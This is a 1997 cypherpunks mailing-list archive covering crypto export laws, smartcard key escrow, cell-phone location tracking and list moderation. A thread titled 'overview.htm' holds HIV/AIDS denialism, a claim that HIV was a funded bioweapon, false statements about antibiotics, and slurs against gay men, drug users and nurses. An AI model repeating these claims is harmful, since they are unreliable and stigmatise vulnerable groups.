To: Lou Zer <satan_is_a_hacker@juno.com>
Subject: Re: HELLO
Message-ID: <199701260125.RAA06242@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:31 AM 1/25/97 EST, Lou Zer wrote:
>Is  ESDES  a good program?
>
>
>
No clue - got a pointer to where it lives?
Also, a Subject line is a good way to let people know
what your mail is about.... - like 
	Subject: ESDES?
	Is  ESDES  a good program?
	It's at http://really-cool-warez.com/elite/trustme/warez.html

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 17:26:01 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Anyone have info on foreign "ITARS"
Message-ID: <199701260126.RAA06257@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:01 PM 1/24/97 +0000, Bill Campbell wrote:
>Does anyone have any pointers to info about the import/export
>restrictions on encryption products in various countries. I know any

 From     : "Bert-Jaap Koops" <E.J.Koops@kub.nl>
 Subj     : Crypto Law Survey updated
 Date     : Thu, 9 Jan 1997 09:38:31 MET
 Forward? : No
 Return   : owner-cryptography@c2.net
---------------------------------------------------------------
 I have just updated my survey of existing and envisaged cryptography
laws and regulations. It now also includes a What's new section. This
update contains among others updates on the OECD, Germany, France,
Netherlands, the new US export regulations, and the Bernstein case.

See the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 25 Jan 1997 17:26:02 -0800 (PST)
To: Hugh Daniel <hugh@ecotone.toad.com>
Subject: Re: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <199701260126.RAA06258@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:29 PM 1/24/97 -0800, Hugh Daniel wrote:
>>    Based on PGP, with no "third-party" key holder, the Nordic system
>>    uses unbreakable RSA-algorithm encryption with a 1024-bit key.
>>    However, some hardware is required. Because the key is on a
>>    smartcard, users must have smartcard readers installed on their
>>    computers, which aren't yet widely available. But Pdr Andler of
>>    Finnish Hewlett Packard says that later this year, smartcard readers

Guess what - it's still got "key escrow"!  If you've got a smartcard
that holds your key, then you've got something well-defined that can
be subpoenaed....  It's better than Yankee-style giving the government your
keys
in advance, but it's still key escrow.

On the other hand, it's voluntary, and if it interoperates with
Real PGP, then great - but will there be an expectation that you need to have
your key signed by The Post Office to use it?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sat, 25 Jan 1997 17:11:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: overview.htm (fwd)
Message-ID: <199701260111.RAA06011@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@einstein.ssz.com> writes:
> > > Jim Choate <ravage@einstein.ssz.com> writes:
> >
> > > [For the record, I have serious doubts whether the HIV virus causes AIDS.
> >
> > Both homosexual males and IV drug users are well known to take a lot
> > of antobiotics, which lowers the efficacy of the immune system enough
> > to allow most anything to happen, ultimately leading to auto-immune
> > problems.
>
> WOAH Bessie!

Jim and Dale,

I agree.  Also shooting one's bloodstream full of fecal matter hardly helps.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 19:41:03 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: overview.htm (fwd)
Message-ID: <199701260341.TAA08101@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:

> > > > [For the record, I have serious doubts whether the HIV virus causes AIDS.

> > > Both homosexual males and IV drug users are well known to take a lot
> > > of antobiotics, which lowers the efficacy of the immune system enough
> > > to allow most anything to happen, ultimately leading to auto-immune
> > > problems.

> Jim and Dale, I agree.
> Also shooting one's bloodstream full of fecal matter hardly helps.

My point about the antibiotics is that the male gays take a dis-
proportionate amount of them, which compounds their problems.  It
suggests to me that the immune system is already seriously debilitated
or damaged before AIDS can take hold, rather than the notion that a
healthy person can get it from the virii alone.

One could argue that in the cases where the cures (antibiotics) add to
a person's problems by further corrupting their immune system, that
they should simply change their habits.  Since I don't see that as a
reasonable possibility, the only thing left is that the public should
be made aware of *all* of the relevant facts, even those which are
heavily suppressed now for PC reasons.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 19:40:54 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: overview.htm (fwd)
Message-ID: <199701260340.TAA08079@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> Forwarded message:
> > Date: Sat, 25 Jan 1997 10:31:49 -0800
> > From: Dale Thorn <dthorn@gte.net>
> > Subject: Re: overview.htm

> > Dr.Dimitri Vulis KOTM wrote:
> > > Jim Choate <ravage@einstein.ssz.com> writes:
[snip]
> WOAH Bessie!
> I had nothing to do with this exchange, and definitely didn't write ANY of
> the above. Please get me out of there and keep me out of it. I am more than
> able to speak for myself thank you.

I don't know what could have happened. I use the Netscape email editor
in stupid mode, i.e., I just press the buttons, I don't have any idea
how it works.  Sorry!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 25 Jan 1997 19:40:50 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: Encrypting ZIP disks
Message-ID: <199701260340.TAA08071@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Paul Kocher announced that he has cracked it, and can recover data
>quickly.  He is not publishing details of the break.
>
>Adam Shostack

Sorry, I don't believe it any more than I believe other unsubstantiated
crypto claims.  Publish the code/method for others to verify or keep the
clains to yourself Paul.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 25 Jan 1997 17:10:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cellular location...
Message-ID: <199701260110.RAA06000@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 24 Jan 1997 aaron@herringn.com wrote:

> Presented in a "this will help 911" context. Still disconcerting.
> 
> [...]
> Companies working on the technology to track cellular phone calls
> have been given additional incentive with a Federal Communications
> Commission order that all cell phone service companies have location
> programs in place by the year 2001.
> [...]

I wonder how expensive it would be to put a GPS receiver in a cell phone and
have the option to transmit the coordinates on a separate channel.  There
would be little difference between this and forcing cell phone companies to
triangulate every call.  The primary motivation for this is almost certainly
"location escrow" to make it easier for the feds to track drug dealers.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMuqrJizIPc7jvyFpAQEmsAf+KysBgt9xRDg/Wp0yJ+jTBEwueVMZu0vB
z9KtEOQDLCZkd7bzzIeJwjXochpA5fqlXetP/pRyAT058ewE2OEYz3SgK2zwz3s/
LRTFHRAIdj4f/+7PTKx6LvoN4NPvKOssqZ4KpX/YYNm/pHhe7eKCY8uV2AEXnoxz
bfs6FgLDYhEtdBYhQGhSbRUgl0MrdW6crmEredavCkZCuqf6G6YOZ7PB1kGK3ZlH
QqIkcDrV2RewY738KuKRb1xsQJHtSC8hgchM6eYY6qpac0BkpQLESo4777wv/5/a
oDMP/ubR8cXokEzQgmhRo8eeHCXBJ8tiKOkKzstkTAdSGOONlc9ttQ==
=j7WP
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sat, 25 Jan 1997 19:40:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mis-quote...
Message-ID: <199701260340.TAA08048@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi,

I want to thank all those who sent me email apologizing for the mis-quote.
Your courtesy is appreciated.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sat, 25 Jan 1997 21:10:45 -0800 (PST)
Subject: RE: US Info Supremacy
Message-ID: <199701260510.VAA09124@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	John Young

Hello, Tim May and our other solons and Solomons.
................................................................


He must be on vacation; he hasn't posted in quite a while.


    ..
Blanc









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 25 Jan 1997 22:55:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cellular location...
Message-ID: <199701260655.WAA10130@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>-----BEGIN PGP SIGNED MESSAGE-----
>
>On Fri, 24 Jan 1997 aaron@herringn.com wrote:
>
>> Presented in a "this will help 911" context. Still disconcerting.
>>
>> [...]
>> Companies working on the technology to track cellular phone calls
>> have been given additional incentive with a Federal Communications
>> Commission order that all cell phone service companies have location
>> programs in place by the year 2001.
>> [...]
>

Looks like this might create an opportunity for 'anonymous' cellular rentals.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 22:56:15 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
Message-ID: <199701260656.WAA10209@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > > > > Both homosexual males and IV drug users are well known to take a lot
> > > > > of antobiotics, which lowers the efficacy of the immune system enough
> > > > > to allow most anything to happen, ultimately leading to auto-immune
> > > > > problems.

> > > Jim and Dale, I agree.
> > > Also shooting one's bloodstream full of fecal matter hardly helps.

> > My point about the antibiotics is that the male gays take a dis-
> > proportionate amount of them, which compounds their problems.  It
> > suggests to me that the immune system is already seriously debilitated
> > or damaged before AIDS can take hold, rather than the notion that a
> > healthy person can get it from the virii alone.
> > One could argue that in the cases where the cures (antibiotics) add to
> > a person's problems by further corrupting their immune system, that
> > they should simply change their habits.  Since I don't see that as a
> > reasonable possibility, the only thing left is that the public should
> > be made aware of *all* of the relevant facts, even those which are
> > heavily suppressed now for PC reasons.

> Why do they take antibiotics?  Just curious.

I'm not precisely sure, but remember, I'm not saying that your typical
suburban, well-to-do, successful gay male falls into this category.

There are, OTOH, a lot of people in the city who have lifestyles which
are not represented accurately in the prime-time sitcoms, and the ones
who fall into the greatest health-risk category are IV drug users and
gay males (in the city, remember - i.e., Santa Monica boulevard).

Remember too those ads for male sexual lubricants - you cannot use
a condom with those lubricants.  Safe sex, I don't think so.

> Also, I haven't heard that antibiotics were bad for immune system,
> has that been proven?

You're kidding, yes?  Anything besides good food, exercise, sleep etc.
is bad for the immune system.  Antibiotics (usually "dead" germs of
some sort) are horrendous things to inject directly into your system.

In October 1959, after lapsing into a coma from a massive sinus
infection, I was given "a million units of penicillin" in the
children's hospital when first admitted.  I recovered OK after
two weeks, so I'm certainly not opposed to antibiotics for those
who really need them.  OTOH, our U.S. economy today is antibiotic-
and-hormone crazy, injecting cows, pigs, and chickens to name a few
animals, all in the hopes of raising production.  So why is the rate
of cancer going up so high?  It seems nearly everyone I know is
getting this degenerate disease when they get older.  Check out the
videos by Howard Lyman, who used to be a big-time "chemical" farmer.
One quote:  "My soil after a few years was like asbestos".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sat, 25 Jan 1997 22:55:58 -0800 (PST)
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <199701260655.WAA10169@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:44 AM 1/25/97 -0800, Lucky Green wrote:
>At 06:29 PM 1/24/97 -0800, Hugh Daniel wrote:
>>  FYI:
>>>From: jsp@betz.biostr.washington.edu
>[...]
>>>    However, some hardware is required. Because the key is on a
>>>    smartcard, users must have smartcard readers installed on their
>>>    computers, which aren't yet widely available. But Pdr Andler of
>>>    Finnish Hewlett Packard says that later this year, smartcard readers
>>>    will become standard on computers in Scandinavia.
>[...]
>
>Interesting piece of trivia: I recently talked with a fellow from Intel. They are looking to purchase keyboards with smartcard readers built in. They hope to get them at $30/piece from suppliers in Asia. The lot size? 10 million.


I suppose this is good news.  I just hope they implement a system, like 
Chaum's low-knowledge/zero-knowledge systems, which make it difficult or 
impossible for snoops or tampered hardware to leak useful information.

Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 23:10:54 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Cellular phone triangulation
Message-ID: <199701260710.XAA10387@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
> I wonder how expensive it would be to put a GPS receiver in a cell phone and
> have the option to transmit the coordinates on a separate channel.  There
> would be little difference between this and forcing cell phone companies to
> triangulate every call.
>    The primary motivation for this is almost certainly
> "location escrow" to make it easier for the feds to track drug dealers.

  Replace the words 'drug dealers' with the words 'everyone', and I
think
this becomes not only a correct statement, but a very revealing one.
  It doesn't matter whether the subject is crypto, cell phones, or any
communications item or issue, the 'answer' to the proclaimed 'problem',
according to the government, is to increase the government's ability
to monitor every citizen, everywhere, at any time.
  Our prisons are overflowing with drug dealers and drug users who were
put there by quite ordinary means which didn't involve violating or
discarding the rights of the ordinary citizen.  Yet we keep hearing
cries from the government for the desperate need to infringe on the
citizen's right to freedom and privacy, again and again, in order to
jail the guys who were supposed to be jailed by the 'last' infringement
on the average citizen (and the one before that).

  So far, as a result of the plethora of laws passed to enable law
enforcement agencies to 'catch drug dealers', I have seen only a
few minor criminals who are claimed to have been brought to justice
as a result of these laws, while seeing documentation of hundreds
and thousands of ordinary citizens being harassed and having their
human rights violated by these same laws.
  And still, we have people like Mark, who seem relatively intelligent
and informed but who still echo the party-line of Big Brother when
He proclaims that the average citizen must be subjected to new and
better ways to monitor the movements and activities of His citizens
in order to 'protect' them from 'drug dealers'.

  I am certain that the issues (and the debates about them) will be 
the same as today, when the dawn finally comes where we hear the 
announcement about the plans for identity-chip body-implants. I am 
sure that the government will tell us that our privacy and rights
will be protected by the Key Escrow encryption in the identity-chip
which will only be compromised for the purpose of catching 'drug
dealers' and other 'scum'.
  I am sure that the statement above will be pooh-paah'd by many as
an example of reactionary-paranoid thinking, but the same could be
said for all of the rights and privacy-infringing realities that
we currently live under. (Like having to provide samples of bodily
fluids to keep your job as a janitor--in case you've been dipping
into the coke stash of the CEO, who does 'not' have to piss in a
jar.)
  Five years from now, you may well be wearing an identity-anklet
at work (to combat employee-theft, etc.) and still laughing at
my ludicrous example of body-implant identity-chips. ("It's not
like they make us wear them at home, they are just for protecting
us from unfair firing by our employer.")
  Ten years from now, you may be wearing your identity-anklet at
home, and still laughing about the idiot who predicted body-implant
identity-chips. ("It's no trouble wearing it at home, especially
if it helps catch those damn 'drug dealers'. They are the only
ones who leave their house during the curfew hours, anyway.")
  A couple years after that, you will welcome the government
announcement that they have found a solution to the 'problem'
of having to wear the identity-anklet all of the time--the new,
improved, identity-chip solution--the body-implant ID-chip.
  Naturally, you will pooh-paah the naysayers who claim that
the body-implant chip will eventually have the capacity to
read your mind.
  ("The guy saying that is the same idiot who predicted that
we would all be wearing body-implant identity-chips...
  "Well, OK, that's a bad example, but...")

  You can fight the increasing hi-tech machinations of Big 
Brother to control our actions, movements, and our thoughts,
but it will cost an increasing amount of time and effort to
do so.
  Not to mention larger and larger amounts of money.
  But, maybe if you became a 'drug dealer'...

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 22:56:13 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
Message-ID: <199701260656.WAA10208@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Igor Chudov @ home wrote:
> > Dale Thorn wrote:

> > > My point about the antibiotics is that the male gays take a dis-
> > > proportionate amount of them, which compounds their problems.  It
> > > suggests to me that the immune system is already seriously debilitated
> > > or damaged before AIDS can take hold, rather than the notion that a
> > > healthy person can get it from the virii alone.

> Dale's hypothesis seems at odds with the linkage of aids and blood
> transfusion and transmission through needles.
> Nurses who contract aids through contaminated needles do not,
> normally, have devastated immune systems.

Let's be realistic about how AIDS is acquired.  A small analogy:

In my pockets I carry two wallets, one with $100's and the other with
smaller change, about 50 bills in various small denominations.  Let's
say tomorrow I spend a $10 bill at the bookstore, and the guy behind
the counter says "this is a phony bill".  So where did I get it?
Well, if pocket change were always LIFO (last in, first out), I might
be able to remember, but there's a good chance I wouldn't, since I go
to a lot of places and do a lot of small transactions.

Now I'm only talking 50 or so small bills, acquired and redistributed
over a period of at most a few months.  AIDS, OTOH, is likely to be
a development from years of  1) Contact with germs, chemicals, food
additives, antibiotics other medical treatments, sexual contact, etc.
and 2) Immune-suppressing activities such as lack of sleep and exercise,
anxiety and stress, and so on.

It seems to me that "proof" of someone acquiring AIDS from one stab
with a contaminated needle is a very nebulous thing. As far as nurses
go, the contact I've had with many of them tells me they are also
(on average) drug users extraordinaire.  Again, you'll be able to
find a very clean hospital in a big city with a bunch of nice clean
nurses in it (a lot of sweet old ladies is the image coming to mind),
but this is as unrealistic as Leave It To Beaver and other 1950's
nonsense.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 25 Jan 1997 23:10:51 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: Re: overview.htm (fwd)
Message-ID: <199701260710.XAA10386@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > Igor Chudov @ home wrote:

> > Remember too those ads for male sexual lubricants - you cannot use
> > a condom with those lubricants.  Safe sex, I don't think so.

> That does not come close to a theory that would explain HIV away.

The virus I believe is best explained by the numerous articles that
were published in the 1970's on "gene splicing", and the fact that we
now have two certified (official) government requests on paper that
call for the development of an agent precisely like HIV, which were
in fact funded.  One was requested in 1979 (I think) by someone
representing the Ft. Detrick folks ($10 million), and the other
request was formally made by the World Health Organization.  Why
would the WHO want to develop a nasty bug like HIV?  Use your
imagination.  Does the virus actually cause the immune collapse?
That's still controversial, from what I hear.  Try to find some of
the material by Jakob Segal, who is heavily suppressed in the USA.

Also check out Jon Rappaport (who also did some excellent on-the-spot
interviews in OKC after the bombing), also Dr. Robert Strecker, whose
brother was murdered trying to investigate the political threads of
the origins of AIDS/HIV.

> > In October 1959, after lapsing into a coma from a massive sinus
> > infection, I was given "a million units of penicillin" in the
> > children's hospital when first admitted.  I recovered OK after
> > two weeks, so I'm certainly not opposed to antibiotics for those
> > who really need them.  OTOH, our U.S. economy today is antibiotic-
> > and-hormone crazy, injecting cows, pigs, and chickens to name a few
> > animals, all in the hopes of raising production.  So why is the rate
> > of cancer going up so high?  It seems nearly everyone I know is
> > getting this degenerate disease when they get older.  Check out the
> > videos by Howard Lyman, who used to be a big-time "chemical" farmer.
> > One quote:  "My soil after a few years was like asbestos".
> 
> As far as I understand, 1) no one really understands why cancer rates
> are up so much and 2) since people live longer, they are more likely do
> have cancer.

True if all other things are equal.  Try subtracting out some of the
cancer factors, and perhaps they'd die of something else.

> What you said is one of the hypotheses. I personally feel that
> environment and bad greasy food are other major contributors. The
> way they cook all these fries, with overheated grease, is very bad.

Try an interesting experiment. Get an ordinary hamburger at McDonald's.
Take the "meat" out of the bun and break it in half, then hold the
broken edge up to your nose.  It helps to have good sense of smell,
but you'll probably get the picture anyway.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 25 Jan 1997 23:10:35 -0800 (PST)
To: jim bell <cypherpunks@toad.com
Subject: Re: Scandinavian Goverments provide PGP to postal customers...
Message-ID: <199701260710.XAA10360@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:50 PM 1/25/97 -0800, jim bell wrote:
>>Interesting piece of trivia: I recently talked with a fellow from Intel. They are looking to purchase keyboards with smartcard readers built in. They hope to get them at $30/piece from suppliers in Asia. The lot size? 10 million.
>
>
>I suppose this is good news.  I just hope they implement a system, like 
>Chaum's low-knowledge/zero-knowledge systems, which make it difficult or 
>impossible for snoops or tampered hardware to leak useful information.

I understand that Intel's main problem at this time seem to be to find a keyboard manufacturer that understands that for the device to be effective, the CPU should not be involved in its operation.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 22:56:07 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701260656.WAA10195@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> Toto <toto@sk.sympatico.ca> writes:
> > paul@fatmans.demon.co.uk wrote:

> >   It became rather glaringly obvious after moderation was announced
> > that class structure would be the defining feature of moderation.
> >   Those who felt themselves to be in the 'upper class' made no
> > bones about it.
> 
> That's a very insightful obeservation.

  Obese-rvation? I hope you are not assuming that I am obese, just
because I am responding to a post originating from
'fatmans.demon.co.uk.'
  I would hate to become relegated to the upcoming cypherpunks-fatpeople
list because of assumptions of this nature.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl11.crl.com>
Date: Sat, 25 Jan 1997 23:55:42 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: Corelation
Message-ID: <199701260755.XAA11016@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 25 Jan 1997, Toto wrote:

>   Has anyone actually 'seen' John Gilmore, lately? Since there
> have been a number of postings indicating that the writer
> 'used to respect' Gilmore, I am wondering if perhaps this
> moderation experiment is not actually an attempt by someone
> to discredit him.

Well I saw John last night at the C2Net party, but I guess that's
not much reassurance.  :-)


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 25 Jan 1997 22:55:46 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: overview.htm (fwd)
Message-ID: <199701260655.WAA10146@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> Dr.Dimitri Vulis KOTM wrote:
> 
> > > > Both homosexual males and IV drug users are well known to take a lot
> > > > of antobiotics, which lowers the efficacy of the immune system enough
> > > > to allow most anything to happen, ultimately leading to auto-immune
> > > > problems.
> 
> > Jim and Dale, I agree.
> > Also shooting one's bloodstream full of fecal matter hardly helps.
> 
> My point about the antibiotics is that the male gays take a dis-
> proportionate amount of them, which compounds their problems.  It
> suggests to me that the immune system is already seriously debilitated
> or damaged before AIDS can take hold, rather than the notion that a
> healthy person can get it from the virii alone.
> 
> One could argue that in the cases where the cures (antibiotics) add to
> a person's problems by further corrupting their immune system, that
> they should simply change their habits.  Since I don't see that as a
> reasonable possibility, the only thing left is that the public should
> be made aware of *all* of the relevant facts, even those which are
> heavily suppressed now for PC reasons.

Why do they take antibiotics? Just curious.

Also, I haven't heard that antibiotics were bad for immune system, 
has that been proven?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 25 Jan 1997 23:10:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Corelation
Message-ID: <199701260710.XAA10352@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


My database seems to indicate a direct co-relation between the 
number of postings criticizing moderation and the number of 
UCE/Spam postings showing up on the list.
  i.e. When there are a number of postings critizizing Sandy's
moderation, then the diversionary UCE/Spam postings increase
dramatically.

  Has anyone actually 'seen' John Gilmore, lately? Since there
have been a number of postings indicating that the writer
'used to respect' Gilmore, I am wondering if perhaps this
moderation experiment is not actually an attempt by someone
to discredit him.
  Perhaps he is being held hostage somewhere, while the more
nefarious elements among us are trying to besmirch his good
name by using it to promote willy-nilly censorship and
class-elitism.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 26 Jan 1997 07:40:36 -0800 (PST)
To: DataETRsch@aol.com
Subject: Re: Public Key Partners
Message-ID: <199701261540.HAA17919@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:50 PM 1/25/97 -0500, DataETRsch@aol.com wrote:
>Do you know of a way I can contact Public Key Partners by e-mail or phone?
>Thanks.

Time travel?

	(PKP dissolved when the partners sued each other.
	There's a Cylink ex-partner, and an RSA ex-partner,
	available at www.*.com )

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 25 Jan 1997 16:55:30 -0800 (PST)
To: cypherpunks@toad.com>
Subject: Re: Homo/bi/sexuals (no_one@nowhere.org)
Message-ID: <199701260055.QAA05799@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199701250956.BAA23557@toad.com>, on 01/24/97 
   at 10:53 PM, no_one@nowhere.org gurgled:

+   And the CDC is the Centers for Disease Control; and it has since
+found many, many prior cases of AIDS. These three minor errors are
+indicative of Attila's reliability of the subject. Of course, no one 
+at CDC or NIH believes any of this crap; it was tired a decade ago.

       A man is known by the company he keeps; floating nyms are the 
    mark of a coward; why not just wear the mark of the beast?        

        ... no_one@nowhere.org's utterance is an average pronouncement 
    by a prototypical megalomaniacal, hedonistic cypherpunk who on days 
    of lesser grandeur, humour, or importance corrects spelling and 
    grammatical errors --unlike the standards you apparently set for 
    yourself? 

        I claim neither a medical degree nor the trade of a medical 
    reporter; the information presented was solely an illustration of 
    an unfortunate circumstance for both the AIDS victim and society as 
    a whole. 

        As to the current relevance of the AIDS victim (who, for that 
    matter, may even have been an urban legend after a few historical 
    rewrites) in today's revisionist politically correct special-
    interest social cauldron as promulgated by the mass hysterimedia 
    (an environment which can, and has, rewritten the words of Thomas 
    Jefferson to accommodate the current social agenda), the point is 
    not only lost; it is mute, along with the truth --both your 
    perceived truth and the historical truth.

        --attila

  ==
  "you probably will not be last,
    you may not be next,
      but you are certainly too late to have been first.  
            --attila

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Encrypted with 2.6.3i. Requires 2.6 or later.

iQCVAwUBMuqW2704kQrCC2kFAQE9MAQAluz6aLri1igCl8a/hE5clOQIyL3TjTG8
tzHHzEEQ4AzU4qtA2UiCSX1Y3eWAd4X/yL09C9HYrCzw9nRZHb0nBObw4+FGtU5L
+vGuWOOAnhh4xJsiDOqYMNIGKftteFWpT1CG9M4C+n/DfNiHzfQV/HlX/Az8j4iP
ovE04U/DpKI=
=IAdt
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 25 Jan 1997 22:55:37 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: overview.htm (fwd)
Message-ID: <199701260655.WAA10138@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> 
> Dale Thorn wrote:
> > Dr.Dimitri Vulis KOTM wrote:
> > 
> > > > > Both homosexual males and IV drug users are well known to take a lot
> > > > > of antobiotics, which lowers the efficacy of the immune system enough
> > > > > to allow most anything to happen, ultimately leading to auto-immune
> > > > > problems.
> > 
> > > Jim and Dale, I agree.
> > > Also shooting one's bloodstream full of fecal matter hardly helps.
> > 
> > My point about the antibiotics is that the male gays take a dis-
> > proportionate amount of them, which compounds their problems.  It
> > suggests to me that the immune system is already seriously debilitated
